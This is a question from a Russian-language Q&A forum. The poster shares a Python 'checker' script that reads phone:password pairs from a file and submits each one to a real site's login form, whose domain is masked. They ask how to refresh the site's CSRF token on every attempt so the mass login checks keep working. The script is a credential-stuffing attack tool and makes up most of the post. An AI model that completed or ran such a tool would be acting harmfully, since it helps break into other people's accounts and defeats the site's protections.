@Steffan1337

Как сделать так,чтоб строка кода изымала csrf с каждым запросом новый?

Пишу чекер для сайта,сайт с защитой csrf,чекает до первого валидного акка,все остальные говорит что не валидные,я так понимаю он берет один и тот же csrf

import requests
from bs4 import BeautifulSoup


file = open('2.txt').read().split('\n')


url = 'https://*******.ru/auth/login'
headers = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36'}

session = requests.Session()
session.headers.update(headers)

r = session.get(url)
soup = BeautifulSoup(r.content, 'html.parser')

csrf = soup.find('meta', {'name': 'csrf-token'})['content']



url_auth = 'https://******.ru/auth/login'



for account in file:
	phone = account.split(":")[0]
	password = account.split(":")[1]


	u = phone
	p = password




	payload = {
    '_csrf': csrf,
	'LoginForm[login]': phone,
	'LoginForm[password]': password,
	}

	r = session.post(url_auth, data=payload)


	print(r.text)
  • Вопрос задан
  • 54 просмотра
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы